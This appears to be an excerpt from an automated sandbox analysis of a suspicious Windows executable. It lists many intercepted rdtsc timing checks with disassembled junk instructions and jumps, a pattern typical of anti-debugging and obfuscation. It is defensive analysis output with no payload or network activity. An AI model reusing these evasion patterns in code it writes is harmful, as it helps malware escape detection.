Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D1DF1A second address: D1DF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F62B87735E5h 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D1DF3D second address: D1DF44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D1DF44 second address: D1DF56 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jnl 00007F62B87735D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D1DF56 second address: D1DF5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D1DF5A second address: D1DF60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D1E244 second address: D1E24A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D22B45 second address: D22B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F62B87735DDh 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F62B87735E8h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D2882E second address: D2883D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D28D44 second address: D28D4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F62B87735D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D28D4E second address: D28D71 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F62B85207DBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jno 00007F62B85207D6h 0x00000014 jo 00007F62B85207D6h 0x0000001a push esi 0x0000001b pop esi 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D292D3 second address: D292D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D292D9 second address: D292DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D292DF second address: D292E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D292E3 second address: D29325 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F62B85207D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F62B85207E7h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F62B85207DDh 0x0000001a jmp 00007F62B85207DEh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D29E5F second address: D29E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D29E68 second address: D29E71 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D2A59C second address: D2A5A6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F62B87735D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D2A5A6 second address: D2A5AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D2A5AE second address: D2A5B4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D2A5B4 second address: D2A5CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F62B85207DAh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D2A5CC second address: D2A5D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D2A5D0 second address: D2A5DC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jo 00007F62B85207D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D283FC second address: D28400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D2F3AA second address: D2F3CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F62B85207D6h 0x0000000a jmp 00007F62B85207E4h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D2F3CC second address: D2F3D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F62B87735D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D2F3D6 second address: D2F3DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D2F3DA second address: D2F3E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D316E4 second address: D316FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D316FD second address: D31707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D31707 second address: D3170B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D348F2 second address: D348F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D34422 second address: D34426 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D34426 second address: D3444B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F62B87735E9h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D3444B second address: D34451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D34451 second address: D34455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D34455 second address: D3446B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jc 00007F62B85207D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F62B85207D6h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D345B6 second address: D345FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735E0h 0x00000007 jmp 00007F62B87735DBh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F62B87735E7h 0x00000013 popad 0x00000014 pushad 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jns 00007F62B87735D6h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D345FC second address: D34600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D34600 second address: D34616 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F62B87735DCh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D34616 second address: D3461A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D41CD3 second address: D41CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D41CD9 second address: D41CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F62B85207E2h 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D41CF4 second address: D41CFE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F62B87735D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D43D8B second address: D43DA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F62B85207D8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D4DF38 second address: D4DF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D4DF3C second address: D4DF6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E7h 0x00000007 jmp 00007F62B85207DEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D4DF6D second address: D4DF75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D4DF75 second address: D4DF79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D567EB second address: D567EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D567EF second address: D56814 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a jl 00007F62B85207D6h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop edi 0x00000013 pushad 0x00000014 jmp 00007F62B85207DFh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D56814 second address: D56819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D56659 second address: D5665D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D5665D second address: D5666B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F62B87735D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D5666B second address: D5667F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F62B85207DEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D599E9 second address: D599EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D599EF second address: D59A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F62B85207E7h 0x0000000c jmp 00007F62B85207E5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D59A22 second address: D59A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D5DD66 second address: D5DD6B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D5DE9F second address: D5DEA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D5DEA5 second address: D5DEA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D5DEA9 second address: D5DEAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D5E1CD second address: D5E1E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62B85207E5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D5E1E6 second address: D5E1EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D5E1EA second address: D5E1F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D5E607 second address: D5E62A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F62B87735EDh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D5E62A second address: D5E62E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D5E774 second address: D5E779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D5E779 second address: D5E785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F62B85207D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D5E785 second address: D5E789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D64EEF second address: D64EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D64EF3 second address: D64EF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D64EF7 second address: D64EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D64EFD second address: D64F08 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jg 00007F62B87735D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D83290 second address: D83299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D83299 second address: D832A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F62B87735D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D832A3 second address: D832A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D832A7 second address: D832B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D83414 second address: D8341A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9C833 second address: D9C84D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F62B87735D8h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9B7A2 second address: D9B7A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9B7A7 second address: D9B7AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9B93B second address: D9B941 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9B941 second address: D9B94B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9BAEA second address: D9BAFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F62B85207DDh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9BC68 second address: D9BC97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F62B87735E6h 0x0000000d pushad 0x0000000e jp 00007F62B87735D6h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 pushad 0x0000001a push esi 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9C0EC second address: D9C0F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9C0F0 second address: D9C104 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F62B87735D6h 0x0000000e jne 00007F62B87735D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9C104 second address: D9C108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9C240 second address: D9C251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 jl 00007F62B87735F9h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9C3A7 second address: D9C3BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F62B85207E1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9C3BE second address: D9C3C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9C3C2 second address: D9C3C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9C525 second address: D9C529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9C529 second address: D9C54B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jnp 00007F62B85207D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9DFEC second address: D9DFF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D9DFF0 second address: D9E00F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 jl 00007F62B85207F4h 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F62B85207D6h 0x00000015 jmp 00007F62B85207DAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: DA0AE6 second address: DA0AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: DA0AEA second address: DA0AF0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: DA0AF0 second address: DA0AF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: DA0AF7 second address: DA0B05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e rdtsc
